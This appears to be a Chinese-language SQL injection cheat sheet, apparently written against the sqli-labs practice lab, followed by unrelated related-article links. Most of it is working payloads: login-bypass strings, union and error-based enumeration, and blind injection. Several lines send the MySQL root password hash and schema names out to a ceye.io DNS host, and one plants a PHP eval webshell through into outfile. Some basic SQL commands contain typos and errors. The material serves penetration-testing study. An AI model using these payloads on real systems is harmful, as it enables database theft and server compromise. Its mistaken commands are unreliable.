1. 数据库查询版本

  • Mssql select @@version
  • Mysql select vresion()/select @@version
  • oracle select banner from ¥version
  • Postgresql select version()

2. 数据库常用命令

  • 库操作

    • 连接数据库 mysql -u 用户名 -p
    • 创建数据库:create database 数据库名称、
    • 删除数据库 drop database 数据库名称、
    • 列出数据库 show databases
    • 使用数据据库 use 数据库名称、
    • 查看当前数据库 select database()
  • 表操作

    • 新建表create table 表名(键 varchar(10),键int(10))
    • 列出表 show tables
    • 删除表 delete 表名
  • 数据操作

    • 增加数据insert into 表名(键,键)values(值,值)

    • 删除数据 delete from 表名 where 键=值(删除某一行数据)

    • 修改数据 updata 表名 set 键 = 值 where 键=值

    • 查询数据 select * fom 表名

      存放数据库 information_ schema(存放schemata、 table、columns等等)

      存放数据库名 schemata

      表 table

      字段 columns

3. SQL手工注入步骤

注入点寻找

  • 判断请求方式

    • 浏览器F12 点网络
  • 单引号闭合’ ‘

  • 数字

  • 单引号括号闭合(’ ‘)

  • 双引号括号闭合(“ ”)

  • or 1=1

  • or 1=2

  • and 1=1

  • and 1=2

  • 数字型注入

    • 加单引号 错误出异常
    • and 1=1 正常
    • and 1=2 异常
  • 字符型注入

    • 加单引号 错误出异常
    • and ‘1’ = '1 正常
    • and ‘1’ = '2 异常

判断字段长度

  • order by 数字 可以判断字段的个数

  • 也可以用猜字段 union select 1,2,3

判断字段回显位置

在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

判断数据库注入

利用内置函数暴数据库信息

version()版本;database()数据库;user()用户;

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version()

and 1=2 union all select database()

and 1=2 union all select user()

操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user

数据库权限:

and ord(mid(user(),1,1))=114 返回正常说明为root

查找数据库名

  • GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+

  • POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+

  • 查看数据库长度length() and length(database())>10–+

  • 查看数据库名字mid()或者left

    • mid (string,start,length)返回指定的字符串从指定位置开始(可以用来猜数据库名 ) and mid(database(),1,1)>‘a’

    • left (string,lenth) 返回最左边指定的字符数

      and left(database(),1)>‘a’ (猜名字)

  • 将查到的库名放到同一个字符串

    • select GROUP_CONCAT(schema_name) from information_schema.schemata
  • 查到数单个据库名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select schema_name from information_schema.schemata limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

查找数据表

  • union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ,3

  • 将单个表名发送到ceye

    uname=1’) union select 3,(select load_file(concat(’\\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

查找数据表中所有字段(列)

  • 127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’) --+

  • 获取内容

    • union select 1,(select group_concat(username) from security.users limit 0,1),3
  • 查询某一个表的字段名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

猜解账号密码

  • outfile文件注入

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

    • into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’

  • 查root密码ceye代码

    127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.port.38ljf2.ceye.io\abc’))),3–+

  • bug

    uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’;–+

    这个文件里会有所有的用户名和密码

  • 查询数据

    union select 1,(select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

绕过登陆验证

  • admin’ –
  • admin’ #
  • admin’/*
  • ’ or 1=1–
  • ’ or 1=1#
  • ’ or 1=1/*
  • ') or ‘1’='1–
  • ') or (‘1’='1–

SQL注入常见函数

  • group_concat函数 可以把查询的内容组合成一个字符串

  • load_file(file name ) 读取文件并将文件按字符串返回

  • left(string,length)返回最左边指定的字符数:

    left(database(),1)>‘s’ (猜名字)

  • length()判断长度

    length(database()>5

  • substr(a,b,c)从字符串a中截取 b到c长度

  • ascii()将某个字符转为ascii值

    ascii(substr(user(),1,1))=101#

  • mid((a,b,c)从字符串a中截取 b到c位置(可以用来猜数据库名 )

4.SQL注入手册

SQL注入常用命令

  • 查看当前用户:union select 1,(select user())–+

  • 查看数据库版本:union select 1,(select version())–+

  • 查看当前数据库名:union select 1,(select database())–+

  • 查看操作系统union select 1,(select @@version_compile_os)–+

  • 所有用户:

    • union select 1,(select group_concat(user) from mysql.user)–

  • 用户hash

    • union select 1,(select group_concat(password) from mysql.user where user=‘root’)
  • 查看所有数据库名

    • union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
  • 查看某一个库的全部表

    • union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
    • union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
  • 查看某个表的字段名

    • union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘表名’)–+
  • 查看某个库中某个表的字段名

    • union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’ and table_schema=‘库名’)–+
  • 读文件

    • union select 1,(SELECT load_file(’/etc/passwd’))–+
  • 写文件

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

UNION注入

  • 猜字段长度

    • order by 数字 uname=1’ order by 2
  • 暴字段位置

    • union select 1,2 uname=1’ union select 1,2
  • 在指定表中查询制指定用户的密码

    • union SELECT 1,password from 表 where username=‘用户名’–+

报错注入

  • floor (SELECT user()可修改)

    • OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
  • ExtractValue(有长度限制,最长32位) (select @@version可修改)

  • and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+

  • UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)

  • and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+

  • NAME_CONST(适用于低版本,不太好用)

  • and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+

  • Error based Double Query Injection

  • or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+

  • exp(5.5.5以上) (select user()可修改)

  • and (select exp(~(select * from(select user())x)))–+

  • floor(Mysql): and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

  • Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  • Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  • EXP: and exp(~(select * from(select user())a));

  • UTL INADDR. get host address(Oracle): and 1=utl inaddrget host address(select bannerO from sys.v_$version where rownum=1))

  • multipoint(Mysql):and multipoint((select * from(select * from(select user())a)b));

  • polygon(Mysql):and polygon((select * from(select * from(select user())a)b));

  • multipolygon(Mysql):and multipolygon((select * from(select * from(select user())a)b));

  • linestring(Mysql):and linestring((select * from(select * from(select user())a)b));

  • multilinestring(Mysql):and multilinestring((select * from(select * from(select user())a)b));

bool盲注

  • 盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

  • 布尔条件构造
     //正常情况
    'or bool#
    true'and bool# //不使用空格、注释
    'or(bool)='1
    true'and(bool)='1 //不使用or、and、注释
    '^!(bool)='1
    '=(bool)='
    '||(bool)='1
    true'%26%26(bool)='1
    '=if((bool),1,0)='0 //不使用等号、空格、注释
    'or(bool)<>'0
    'or((bool)in(1))or'0 //其他
    or (case when (bool) then 1 else 0 end)
    • 有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
     1' or (bool) or '1'='1
    1%' and (bool) or 1=1 and '1'='1
  • 构造逻辑判断
    • 逻辑判断基本就那些函数:
      left(user(),1)>'r'
    right(user(),1)>'r'
    substr(user(),1,1)='r'
    mid(user(),1,1)='r' //不使用逗号
    user() regexp '^[a-z]'
    user() like 'root%'
    POSITION('root' in user())
    mid(user() from 1 for 1)='r'
    mid(user() from 1)='r'
  • 利用order by盲注
    mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
    +----+--------------+------------------------
    | id | username | password
    +----+--------------+------------------------
    | 1 | 2 | 5
    | 1 | admin | 51b7a76d51e70b419f60d34
    +----+----------- --+------------------------
    2 rows in set (0.00 sec) mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
    +-----+-----------+--------------------------
    |id | username | password
    +-----+-----------+--------------------------
    | 1 | admin |51b7a76d51e70b419f60d3
    | 1 | 2 | 6
    +-----+-----------+--------------------------
    2 rows in set (0.01 sec)

延时盲注

  • 相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时

  • 一般格式if((bool),sleep(3),0)or (case when (bool) then sleep(3) else 0 end)

  • 两个函数:

  • BENCHMARK(100000,MD5(1))

  • sleep(5)

  • BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

Mysql注释符

1. -- -
2. /* .... */
3. #
4. `
5. ;%00

GBK绕过注入

  • 在分号前加%df%27
  • 示例:id=1%d%27 union select 1.2–+

SQL注入常用命令的更多相关文章

  1. Oracle的学习一:安装与卸载、sql *plus常用命令、Oracle用户管理

    1.为什么学习oracle? 性能优越: 小型数据库 中型数据库 大型数据库 acess.foxbase mysql.sql server.informix sybase.oracle.db2 复杂量 ...

  2. 二、oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  3. oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  4. 二、 sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  5. Oracle-01-数据库分类/oracle sql*plus常用命令

    一.数据库分类 一.数据库分类1.小型数据库:access.foxbase2.中型数据库:informix.sql server.mysql3.大型数据库:sybase.db2.oracle 二.项目 ...

  6. 4.oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  7. 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)

    前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...

  8. SQL Plus常用命令

    1.常用命令:显示当前用户名:show user登录到数据库:conn[etc] 用户名/密码@网络[as sysdba / as sysoper]   简单写法:conn 用户名/密码    con ...

  9. SQL注入常用函数(注入小白的学习笔记)

    在盲注的情况下,往往需要一个一个字符的去猜解,即过程中需要截取字符串 在这里整理了一下一些常用函数 由于现阶段学习不够深入,整理分类不清楚具体,不过博主会慢慢进行完善 user() 查询当前数据库用户 ...

随机推荐

  1. windows server2012搭建邮箱服务器+客户端界面(hmailserver+afterlogic)+批量创建邮箱

    1.简介 由于需要较多邮箱,如果去注册需要很多的手机号码去验证,一个人不可能买一堆的手机号,所以自己搭建一个邮箱服务器可以大批量的创建自己的邮箱账号和收发邮件. 2.安装部署hmailserver 下 ...

  2. MySQL保留2位小数

    1.round(x,d),四舍五入.round(x) ,其实就是round(x,0),也就是默认d为0 select round(110.35,1); # 110.4 2.TRUNCATE(x,d), ...

  3. 协程 & IO模型 & HTTP协议

    今日内容 进程池与线程池的基本使用 协程理论与实操 IO模型 前端简介 内容详细 一.进程池与线程池的基本使用 1.进程池与线程池的作用 为了保证计算机硬件安全的前提下,提升程序的运行效率 2.回调机 ...

  4. suse 12 二进制部署 Kubernetets 1.19.7 - 第12章 - 部署dashboard插件

    文章目录 1.12.0.创建namespace 1.12.1.创建Dashboard rbac文件 1.12.2.创建dashboard文件 1.12.3.查看pod以及svc 1.12.4.获取 d ...

  5. XXE外部实体注入漏洞总结

    XXE 漏洞原理 XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害. 漏洞危害 ...

  6. Redis——入门学习笔记

    Redis学习 说到前面:这篇笔记只是我作为一个Redis新手,从0到认知的一个过程.后续会持续深入学习. 学习初衷和计划 学习Redis,因为这是热门技术,必须掌握的技术,别人都会我不会.就这一点就 ...

  7. 【程序员的实用工具推荐】 Mac 效率神器 Alfred

    Alfred 是一款功能非常强大,能有效提升 Mac 电脑使用效率的神器.可以说有了 Alfred 你就基本上可以脱离鼠标实现各种操作.相比 Mac 自带的聚焦搜索,完全可以称得上拥有碾压性的优势. ...

  8. windows清理用户痕迹

    1.日志管理器的基本使用 在这里创建自定义视图是非常重要的 在设置自定义视图不必设置的事件日志选项太多,可以按日志也可以按源进行设置,根据自己的情况来做决定 在cmd下可以使用wevtutil cl ...

  9. 【Windows 操作系统】Windows 进程的内核对象句柄表

    总结: 1.句柄就是进程句柄表中的索引.2.句柄是对进程范围内一个内核对象地址的引用,一个进程的句柄传给另一个进程是无效的.一个内核对象可用有多个句柄.Windows之所以要设立句柄,根本上源于内存管 ...

  10. Linux主机内存评估手册-从零到无

    --时间:2020年10月22日 --作者:飞翔的小胖猪 文档基于Centos Linux操作系统作为生产服务器运行环境.实时的查看分析当前系统内存的使用情况是否存在内存瓶颈,结合应用及现行业务需求分 ...